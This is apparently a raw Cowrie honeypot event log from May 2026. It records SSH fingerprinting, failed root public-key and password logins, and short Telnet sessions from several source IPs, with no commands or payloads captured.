{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:30.939131Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:30.967081Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:ba:9b:73:7d:c4:00:25:48:8a:b8:a7:f4:dc:56:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUMuizfEXnVFRVuisS4BMAqIyX29xP6TpnjGpyfgF07","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 78:ba:9b:73:7d:c4:00:25:48:8a:b8:a7:f4:dc:56:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.066767Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:ba:9b:73:7d:c4:00:25:48:8a:b8:a7:f4:dc:56:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUMuizfEXnVFRVuisS4BMAqIyX29xP6TpnjGpyfgF07","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.072491Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:fb:45:c6:9f:ad:05:7f:4a:81:1e:d1:2a:fd:ef:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLDfsq90ZSgeB/9uqSD6q04059FE8aiceyLmmsvcbJYpcs0Us+9eOxrDeWzV/3pq2yO93QL6ruxnFuwpoeAqYb6tIDv5EaHeLZ24GbvCInBihmGCgy/nDiB2c4MYH7JgiKSV4UyWvfF+bzAGARTRWqrNkmmuFWed4pkRnhKrRF4KeYV6Bgzuis/Qa8vJj41NKkKUgr9YeP8ia6rXfmzDSCs0UH01evWegzKQqtwvLfEgQQNyA0/Qw5WlQCacbbeAfgZiF+OEvEG6f3qdcmwYNCOGN6g9haULWg9jhOa43h0Zk5HDEck1uiPmCtBukxHpDclHu6n7ddyocOUHZQcYuB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:fb:45:c6:9f:ad:05:7f:4a:81:1e:d1:2a:fd:ef:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.097881Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:fb:45:c6:9f:ad:05:7f:4a:81:1e:d1:2a:fd:ef:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLDfsq90ZSgeB/9uqSD6q04059FE8aiceyLmmsvcbJYpcs0Us+9eOxrDeWzV/3pq2yO93QL6ruxnFuwpoeAqYb6tIDv5EaHeLZ24GbvCInBihmGCgy/nDiB2c4MYH7JgiKSV4UyWvfF+bzAGARTRWqrNkmmuFWed4pkRnhKrRF4KeYV6Bgzuis/Qa8vJj41NKkKUgr9YeP8ia6rXfmzDSCs0UH01evWegzKQqtwvLfEgQQNyA0/Qw5WlQCacbbeAfgZiF+OEvEG6f3qdcmwYNCOGN6g9haULWg9jhOa43h0Zk5HDEck1uiPmCtBukxHpDclHu6n7ddyocOUHZQcYuB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.101443Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:36:20:3d:e4:a2:a3:73:13:a0:cc:01:f0:3a:ce:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0DLUK476Kto6UBcMv0S+N1kHbyjsZ+kU83fIVFmhcmJO2sgg/m4xZtj0WmYZPDL3/6+BUhXXzJZtznV2ez0Am5JKbtSgZB/bcGZ2A5OV5QlSNaKkTY6TQMQ/r7GKrBtzesqB0LEOhCWM64txwwSdvkQBIRtwiODn5DKzkOgz7YyqwapI0PWQJehO2HiRNTguNYlkjmQyKBEwJIUxq8gIsZFPwSXr76eg115SW9Z8Mn5TijLUznJD+IK75Qe21p04eBoqQMrW+dD2l0n9vwAygib4IktDOq+R26se+tzvjV94zvLKcTpEcLd9Z6+Jh9RGS6EdoklWjRO3ZCSCn2jQn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:36:20:3d:e4:a2:a3:73:13:a0:cc:01:f0:3a:ce:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.126300Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:36:20:3d:e4:a2:a3:73:13:a0:cc:01:f0:3a:ce:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0DLUK476Kto6UBcMv0S+N1kHbyjsZ+kU83fIVFmhcmJO2sgg/m4xZtj0WmYZPDL3/6+BUhXXzJZtznV2ez0Am5JKbtSgZB/bcGZ2A5OV5QlSNaKkTY6TQMQ/r7GKrBtzesqB0LEOhCWM64txwwSdvkQBIRtwiODn5DKzkOgz7YyqwapI0PWQJehO2HiRNTguNYlkjmQyKBEwJIUxq8gIsZFPwSXr76eg115SW9Z8Mn5TijLUznJD+IK75Qe21p04eBoqQMrW+dD2l0n9vwAygib4IktDOq+R26se+tzvjV94zvLKcTpEcLd9Z6+Jh9RGS6EdoklWjRO3ZCSCn2jQn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.129958Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:59:ca:4f:6d:5d:28:7f:e2:77:e3:eb:ce:2f:c8:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMzHp2no6Gj2JhBxTTup3tzRBjlxbr0hp9fLe1wQsowzeIVqUH2/QTAmAsXHL6FLiiiQ9AlMMqfQadqMFogxwvSajroEApFG6qdrWzZVnaSoybJNEFLtI5szGrJaUIKTMh78jinJ2F91XOo4Aj7D7XpXYLSXeACZA3b6HV+t3a6RESXASlkHBnrbjlyrfuN8Md9ArC81RjEwtFPvurzrJD1Vm4+1S26PGNcQ/EEZtLyblR7KkojjlPd7LWUsM93zFd3zQWAcAywq0ryGGyqVhheBCCHxAz+IMAobK3VeyN1Pm2fadqkhD00bB3YN5tkKE/W/eCXIHzQJNGojq2mL/D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:59:ca:4f:6d:5d:28:7f:e2:77:e3:eb:ce:2f:c8:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.155611Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:59:ca:4f:6d:5d:28:7f:e2:77:e3:eb:ce:2f:c8:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMzHp2no6Gj2JhBxTTup3tzRBjlxbr0hp9fLe1wQsowzeIVqUH2/QTAmAsXHL6FLiiiQ9AlMMqfQadqMFogxwvSajroEApFG6qdrWzZVnaSoybJNEFLtI5szGrJaUIKTMh78jinJ2F91XOo4Aj7D7XpXYLSXeACZA3b6HV+t3a6RESXASlkHBnrbjlyrfuN8Md9ArC81RjEwtFPvurzrJD1Vm4+1S26PGNcQ/EEZtLyblR7KkojjlPd7LWUsM93zFd3zQWAcAywq0ryGGyqVhheBCCHxAz+IMAobK3VeyN1Pm2fadqkhD00bB3YN5tkKE/W/eCXIHzQJNGojq2mL/D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.158873Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:5a:b3:35:8f:45:c5:79:de:6d:35:4c:7e:0e:02:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIPGhOY5WK8OidXrQdef8lTOumljHSmxZ5n0h8d6YHMav4C6JnigsVtuQUgcXm6YEfYALCPQM+xFicvPdLn9NgKBoas2ZD7WizTTqxx8V4hw40UeUHrlHeE9JDk1izfIYVaeeL63/jiHQs7+Hkc2qlA7O2W21WI4/KzEWZg+UJqzJDEJIfjuGojRAQXzyehwm+zlBb6yG/b647wdmITlyL7KisSvFTIObtNU/w4TtEYIdSuRuxHK7ZITw/zGpweDa+Teq+Uh8Kyu+Op0vMtkq9EScrvv/zqgtnZQHLHUXktvXAGk4E/6FyhGwNAncgnVE3iV8uTxEHjn4Py1KVRGDl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:5a:b3:35:8f:45:c5:79:de:6d:35:4c:7e:0e:02:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.183950Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:5a:b3:35:8f:45:c5:79:de:6d:35:4c:7e:0e:02:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIPGhOY5WK8OidXrQdef8lTOumljHSmxZ5n0h8d6YHMav4C6JnigsVtuQUgcXm6YEfYALCPQM+xFicvPdLn9NgKBoas2ZD7WizTTqxx8V4hw40UeUHrlHeE9JDk1izfIYVaeeL63/jiHQs7+Hkc2qlA7O2W21WI4/KzEWZg+UJqzJDEJIfjuGojRAQXzyehwm+zlBb6yG/b647wdmITlyL7KisSvFTIObtNU/w4TtEYIdSuRuxHK7ZITw/zGpweDa+Teq+Uh8Kyu+Op0vMtkq9EScrvv/zqgtnZQHLHUXktvXAGk4E/6FyhGwNAncgnVE3iV8uTxEHjn4Py1KVRGDl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.187811Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.213478Z","src_ip":"216.227.148.98","session":"f932b726bef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39046,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbadc2d840fb","protocol":"telnet","message":"New connection: 128.199.8.54:39046 (159.203.135.109:23) [session: fbadc2d840fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:31.746100Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":26880,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc30624dc3ab","protocol":"ssh","message":"New connection: 141.11.21.145:26880 (10.17.0.5:22) [session: fc30624dc3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:33.788406Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:33.874068Z","src_ip":"141.11.21.145","session":"fc30624dc3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":26888,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e74e741c4a","protocol":"ssh","message":"New connection: 141.11.21.145:26888 (10.17.0.5:22) [session: f2e74e741c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:33.943471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:33.948894Z","src_ip":"141.11.21.145","session":"f2e74e741c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:34.025747Z","src_ip":"141.11.21.145","session":"f2e74e741c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huang","password":"10301X","message":"login attempt [huang/10301X] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:34.254798Z","src_ip":"141.11.21.145","session":"f2e74e741c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:35.333899Z","src_ip":"141.11.21.145","session":"f2e74e741c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cfebc94a2b6","protocol":"telnet","message":"New connection: 128.199.8.54:55638 (159.203.135.109:23) [session: 7cfebc94a2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:39.262482Z"}
{"eventid":"cowrie.session.closed","duration":31.314722299575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:40.149833Z","src_ip":"128.199.8.54","session":"816e2f38578e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00276350975037,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:41.453248Z","src_ip":"212.55.149.117","session":"b438f288fb80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0023353099823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:43.122138Z","src_ip":"212.55.149.117","session":"4b511fb97ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51099,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c30ca3117de","protocol":"telnet","message":"New connection: 212.55.149.117:51099 (10.17.0.5:23) [session: 0c30ca3117de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:44.116492Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":39702,"dst_ip":"10.17.0.5","dst_port":23,"session":"13eccc7ec09d","protocol":"telnet","message":"New connection: 208.109.212.211:39702 (10.17.0.5:23) [session: 13eccc7ec09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:44.296168Z"}
{"eventid":"cowrie.session.closed","duration":33.80172634124756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:45.753974Z","src_ip":"128.199.8.54","session":"cdae3b747b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54458,"dst_ip":"159.203.135.109","dst_port":23,"session":"525df664b789","protocol":"telnet","message":"New connection: 128.199.8.54:54458 (159.203.135.109:23) [session: 525df664b789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:45.764665Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7d647dd04d","protocol":"telnet","message":"New connection: 128.199.8.54:45068 (159.203.135.109:23) [session: 5e7d647dd04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:47.442619Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47922,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dbdc52af733","protocol":"telnet","message":"New connection: 128.199.8.54:47922 (159.203.135.109:23) [session: 2dbdc52af733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:48.848081Z"}
{"eventid":"cowrie.session.closed","duration":33.57771372795105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:53.644625Z","src_ip":"128.199.8.54","session":"7c9a051c6851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32500457763672,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:56.320337Z","src_ip":"128.199.8.54","session":"40046c231aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75628328323364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:57.938281Z","src_ip":"128.199.8.54","session":"2a4ca9efc9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":42200,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae17125b2f85","protocol":"telnet","message":"New connection: 208.109.212.211:42200 (10.17.0.5:23) [session: ae17125b2f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:58.262373Z"}
{"eventid":"cowrie.session.closed","duration":34.39425802230835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:06.140232Z","src_ip":"128.199.8.54","session":"fbadc2d840fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59514,"dst_ip":"159.203.135.109","dst_port":23,"session":"67310964bf85","protocol":"telnet","message":"New connection: 128.199.8.54:59514 (159.203.135.109:23) [session: 67310964bf85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:08.418621Z"}
{"eventid":"cowrie.session.closed","duration":32.68448781967163,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:11.946847Z","src_ip":"128.199.8.54","session":"7cfebc94a2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b11d5c9794d","protocol":"telnet","message":"New connection: 128.199.8.54:40380 (159.203.135.109:23) [session: 6b11d5c9794d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:12.698557Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42538,"dst_ip":"159.203.135.109","dst_port":23,"session":"42187866e8be","protocol":"telnet","message":"New connection: 128.199.8.54:42538 (159.203.135.109:23) [session: 42187866e8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:13.702468Z"}
{"eventid":"cowrie.session.closed","duration":30.839890718460083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:15.135911Z","src_ip":"208.109.212.211","session":"13eccc7ec09d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46198,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10581307da1","protocol":"telnet","message":"New connection: 128.199.8.54:46198 (159.203.135.109:23) [session: f10581307da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:15.529001Z"}
{"eventid":"cowrie.session.closed","duration":31.622145891189575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:17.386666Z","src_ip":"128.199.8.54","session":"525df664b789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50164,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bd1fd2f1c9","protocol":"telnet","message":"New connection: 128.199.8.54:50164 (159.203.135.109:23) [session: 09bd1fd2f1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:18.536676Z"}
{"eventid":"cowrie.session.closed","duration":32.89340090751648,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:20.335922Z","src_ip":"128.199.8.54","session":"5e7d647dd04d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae9cd6425d8f","protocol":"telnet","message":"New connection: 128.199.8.54:58848 (159.203.135.109:23) [session: ae9cd6425d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:21.630128Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59710,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e899f217adf","protocol":"telnet","message":"New connection: 128.199.8.54:59710 (159.203.135.109:23) [session: 4e899f217adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:22.092411Z"}
{"eventid":"cowrie.session.closed","duration":34.46591544151306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:23.313873Z","src_ip":"128.199.8.54","session":"2dbdc52af733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843898057937622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:29.106157Z","src_ip":"208.109.212.211","session":"ae17125b2f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.397308349609375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:42.815804Z","src_ip":"128.199.8.54","session":"67310964bf85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62634825706482,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:46.324786Z","src_ip":"128.199.8.54","session":"6b11d5c9794d","protocol":"telnet"}
